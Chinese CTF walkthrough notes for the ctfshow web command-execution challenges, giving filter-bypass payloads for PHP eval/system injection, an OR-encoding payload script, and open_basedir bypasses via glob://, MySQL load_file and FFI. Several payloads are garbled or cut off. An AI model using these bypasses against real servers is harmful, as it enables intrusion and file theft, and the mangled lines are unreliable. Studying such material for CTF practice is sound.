0%

ctfshow web命令执行

##想沛沛的第n天1

web29
看正则表达式发现 flag被过滤 ls看看有什么
?c=system(ls); 发现有个flag.php
这题有多种方法 构造后查看源代码即可
1.可根据提示构造?c=echo nl fl''ag.php; 2.c=system(‘cat fla); 3.?c=system(‘cp fla?.php 1.txt’)
web30
看正则表达式 多过滤了 system和php 学会用反引号 ``有system()的作用
1.?c=echo cat f* ; 2.提示的?c=echo nl fl''ag.p''hp;
*web31
增加了一些绕过比较重要的是 cat和空格 在网上查看的可以替代cat的句式
1.tac:从最后一行开始显示,是cat的反向显示2.more:一页一页的显示档案内容3.less:与more类似4.head:查看文档的前几行5.tail:查看文档的后几行6.nl:显示的时候,顺便输入行号7.od:以二进制的方式读取档案8.vi:一种编辑器9.uniq:查看10.vim:一种编译器
可代替空格绕过的句式 1.${IFS}2.$IFS$13.${IFS4.%205.<和<>重定向符6.%09 所以构造
?c=echo(more%09f*); 还有很多大佬解法?c=eval($_GET[1]);&1=system(‘cat flag.php’);///嵌套脱离了c的正则判断
?c=echostrings%09f*;
还有hint的 ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
*web32
又过滤掉了; ( echo ‘ `( 分号可以用?> eval可以用include 括号可以用“”代替 )
加上文件包含形式php://filter/read=convert.base64-encode/resource=flag.php
这题构造:?c=include”$GET[1]”?>&1=php://filter/read=convert.base64-encode/resource=flag.php
*web33
?c=include$GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 和上题目一样但是要去掉双引号 因为被过滤
*web34 web35
34过滤了:
35过滤了“ < =
都可以?c=include$GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
*web36
36 过滤了数字?c=include$GET[hhp]?>&hhp=php://filter/read=convert.base64-encode/resource=flag.php 1改为数字
*web37
37 eval函数变成了 include函数
考点为伪协议?c=data://text/ plain,
data后面将所有的数字、字符、字符串当做php代码执行
构造 ?c=data://text / plain,
*web38
38 过滤了php和file
可以将
*web39
39过滤掉了flag 限制后缀为php 构造?c=data://text /p lain,
*web40
?c=print_r(scandir(current(localeconv())));
print_r(scandir(xxx))可用来查看当前目录所有文件名 localeconv() 函数返回包括本地数字及货物格式信息的数组 current函数返回数组中的当前单元,默认第一个值,也可以用pos reset代替 然后发现flag.php是第三个数组 也是倒数第二个
于是构造 ?/c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); 可利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir(‘.’))中的参数.
array_reverse 以相反顺序返回数组 next 读取下一个元素 通过highlight_file读取 利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir(‘.’))中的参数.
*web41
把所有的数字小写字母都屏蔽了 这种全过滤只有一种解法 构造字符串
& 按位与 |按位或 ^ 按位异或 取反 为四大位运算符,其中按位异 | 没有过滤
脚本如下:import re
import requests
url=”http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"
a=[]
ans1=””
ans2=””
for i in range(0,256):
c=chr(i)
tmp = re.match(r’[0-9]|[a-z]|^|+|\
|$|[|]|{|}|&|-‘,c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)

eval(“echo($c);”);

mya=”system” #函数名 这里修改!
myb=”ls” #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1=”("“+ans1+”"|"“+ans2+”")”
ans1=””
ans2=””
for k in range(0,len(myb)):
myfun(k,myb)
data2=”("“+ans1+”"|"“+ans2+”")”
data={“c”:data1+data2}
r=requests.post(url=url,data=data)
print(r.text) append函数会在数组后加上相应的元素
*web42 标准输出(stdout)代码是1 标准错误输出(stderr)代码是2 由于“ > / dev / null& ”返回的值丢失,我们不会等待响应。 http://8deebfb5-d519-443d-af2c-d106f47f6885.challenge.ctf.show/?c=cat%20flag.php;ls这样即可绕过!!查看源代码c=cat%20flag.php;即可 还可cat flag.php%0a;
*web43 多过滤了分号 cat 用 ?c=tac%20flag.php||绕过 或者nl flag.php%0
web44 多过滤了flag 用 nl fla.php%0a 或者 ?c=tac%20fl\ag.php||
*web45多过滤了空格 ?c=tac%09fl\ag.php||或者echo$IFStac$IFS*%0A (反引号一种功能是执行系统命令)
*web46 f(!preg_match(“/;|cat|flag| |[0-9]|\$|*/i”, $c)) 过滤了好多了 ?c=tac<fl’’ag.php|| 或者tac换为nl 或者?c=tac%09fla??php||
*web47
!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i” 可以c=tac<fl’’ag.php||
*web48
if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`/i” ?c=tac<fl’’ag.php||
***web49**
f(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|%/i” ?c=tac<fl’’ag.php||
*web50
c=tac<fl’’ag.php||

#沛女王命令放的!

*web51
if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|\x09|\x26/i”, $c)){ /?c=nl<fl’’ag.php||
***web52**
(!preg_match(“/;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|\x09|\x26|>|</i”, $c)){
?c=nl$IFS/fl’’ag|| 或者 =nl$IFS\fla\g.php||
***web53**
if(!preg_match(“/;|cat|flag| |[0-9]|*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|\x09|\x26|>|</i”, $c)){
echo($c);
$d = system($c);
echo “
“.$d;
?c=c’’at${IFS}fla’’g.p’’hp
*web54
加强了正则 /bin/?at${IFS}f???????
*web55
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php 然后 ?c=/???/????64%20????.??? 或者 ?c=/???/???/????2 ????.??? —》 然后在url + /flag.php.bz2
*web57
拼接出36即可 但是基本上字母数字分号通配符都屏蔽了
要知道
echo ${_}是返回上次的结果 所以?c=echo $(()) 为0 $(($(())))为 ~0 为-1
所以 -37为36 c=$((
$(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$((~$(())))))))
或者 运用grep grep 指令用于查找内容包含指定的范本样式的文件
?c=grep${IFS}’fla’${IFS}fla??php
*web58 -65
单一函数读文件内容:
函数:
file_get_contents()
readfile()
file() 可以c=echo file_get_contents(“flag.php”);
readfile(“flag.php”);
print_r(file(“flag.php”));
高亮显示php文件
函数
show_source()
highlight_file()
用法:
show_source(“flag.php”);
highlight_file(“flag.php”);
web 66 67
flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir(“/“));highlight_file(“/flag.txt”);
c=$a=opendir(“/“); while (($file = readdir($a)) !== false){echo $file . “
“; };highlight_file(“/flag.txt”);
var_dump() 函数用于输出变量的相关信息
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
scandir() 函数 列出 images 目录中的文件和目录:
opendir()函数 opendir()用来打开参数name 指定的目录, 并返回DIR
形态的目录流, 和open()类似, 接下来对目录的读取和搜索都要使用此返回值.
所以现在查看目录 c=var_dump(scandir(“/“)); 再打开highlight_file(“/flag.txt”);
*web68 69 70
c=include(“index.php”); 发现字节太大了直接盲猜 因为是txt文件 可以用include或者require c=include(“/flag.txt”);
*web71 绕过echo preg_replace(“/[0-9]|[a-z]/i”,”?”,$s); 直接后面输入 exit();即可 我们可以执行php代码让后面的匹配缓冲区不执行直接退出
*web72
如果还是用老办法是不行的,首先他的位置换了,你输入include(‘/flag.txt’);他会找不到文件,其次,没有权限。使用scandir(‘/‘);exit();会报错
forEach() 方法用于调用数组的每个元素,并将元素传递给回调函数。

php里的标准库说明 isdir()) { //echo $fileInfo->getPathname(); echo $fileInfo->getFilename(). "\t" . $fileInfo->getSize()."
"; } } ?>
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口,利用此方法可以绕过open_basedir限制。(但是似乎只能用于Linux下)
所以使用glob://伪协议绕过open_basedir
c=?%3E%3C?php%0A$a=new%20DirectoryIterator(%22glob:///*%22);%0Aforeach($a%20as%20$f)%0A%7Becho($f-%3E__toString().’%20’);%0A%7D%0Aexit(0);%0A?%3E
找到文件目录 运用uaf的脚本 url编码
*web73 #沛宝小屋
先用 glob伪协议的方法查看目录 具体克看烧碱博客
#glob:///*会列出根目录下的文件

glob://*会列出open_basedir允许目录下的文件

再用打开txt文件的方式 记得exit(0) 因为这样可以断掉屏蔽
c=include(‘/flagc.txt’);exit(0);
*web74同73 c=?>toString().' ');} exit(0); 先伪协议搜目录 再打开 也可以$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "
"; };include("flagx.txt");exit(); ***web74**文件名换了 注意看呀!!!! ***web75** 先扫描目录 c=?><?php $a=new DirectoryIterator(“glob:///*”);foreach($a as $f){echo($f->toString().’ ‘);} exit(0); 发现是flag36.txt
然后发现又是open_basedir 限制 这时候可以mysql绕过
c=try {$dbh = new PDO(‘mysql:host=localhost;dbname=ctftraining’, ‘root’,
‘root’);foreach($dbh->query(‘select load_file(“/flag36.txt”)’) as $row)
{echo($row[0]).”|”; }$dbh = null;}catch (PDOException $e) {echo $e-getMessage();exit(0);}exit(0);
*web76同75 改个文件名而已

*web77要学会这题就要会新特性 ffi拓展 具体见 有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了。https://www.laruence.com/2020/03/11/5475.html
通过FFI(7.4版本) c=$ffi=FFI::cdef(“int system(char command);”, “libc.so.6”);//实施system$a=’/readflag > 1.txt’;//放入文件$ffi->system($a);exit(); //再访问1.txt
readflag由读取根目录所有文件得来
c=$a=new DirectoryIterator(“glob:///
“);foreach($a as $f){echo($f->toString().’ ‘);}exit(0);

web118
果然越来越刁了 需要脑洞啊 需要使用bash的内置变量进行绕过**
$PWD
工作目录(你当前所在的目录),这与内置命令 pwd 的作用相同:**
$PATH
可执行文件的搜索路径。
$IFS
内部域分隔符。这个变量用来决定 Bash 在解释字符串时如何识别域,或者单词边界。

echo ${PWD:0:1} #表示从0下标开始的第一个字符 echo ${PWD:0:1} #从结尾开始往前的第一个字符 所以这题 要构造 nl 就要 bin的最后一个 html的最后一个**
${PWD} /var/www/html**
${PWD:
0} l${PATH} /bin**
${PATH:0} n 构造为${PATH:A}${PWD:A}$IFS????.??? ?是flag,php提示了
web119
把path也过滤掉了 那就用环境变量
构造一个三 然后构造tac
环境变量如下:
php_cflags=-fstack-protector-strong -fpic -fpie -02 -D_largefile_source _d_file_offset_bi
php_version=7.3.22
shivl=1
${php_version:$shlvl} 3.22 要取到”3” 就要数字1各种尝试 发现要取到3要这样构造 :${php_version:${php_version:
A}:${SHLVL}这样为3 就可以用tac
tac=${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:
A}:${SHLVL}}:${PHP_VERSION:${PHP_VERSION:A}:~${SHLVL}}}
加上空格????.???

web120
根据php代码 有 system code 直接就 可以打开/bin/base64 flag.php 但是都被过滤了所以要构造
${PWD:${Z}:$井号SHLVL}} ====> /
$井号RANDOM} ====> 随机会产生4或5位 多试几次 就是4
/bin/base64 flag.php
payload:${PWD::${井号SHLVL}}???${PWD::${井号SHLVL}}?????${井号RANDOM} ????.???

web121

shlvl被过滤了
方法1 可以用 ${井号井号}或者${井号?} 来代替 ${井号SHLVL} code=${PWD::${井号井号}}???${PWD::${井号井号}}?????${井号RANDOM} ????.???
方法2 使用/bin/rev逆序输出读文件 ifs定义字分隔字符 默认值:空格符 tab符 换行符 符号都是3 var/www/html 刚好地三个是r 可以匹配到/bin/rev
所以构造为 ${PWD::${井号?}}???${PWD::${井号??}${PWD:${井号IFS}:${井号?}}?? ????.???

web122

屏蔽了 pwd 用HOME绕过这个即可 $#就换成$?
执行命令前用<A 使下一次$报错结果为1 #?获取上条命令执行后的返回值,0代表成功,非0代表失败,而且这个返回值是可控的
构造:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web124

要知道这几个函数首先
base_convert(number,frombase,tobase) #在任意进制之间转化数字
dechex()把十进制数转换为十六进制数
hex2bin()把十六進制值的字符串转换为ascii字符
根据ascii编码 $hex2bin(“5f474554”) 这个就是 $_GET
base_convert(37907361743,10,36) hex2bin
dechex(1598506324) 5f474554
hex2bin(“5f474554”) _GET
所以构造无绕过的应该为
?c=$_GETa;&a=system&b=(“ls”)
所以payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php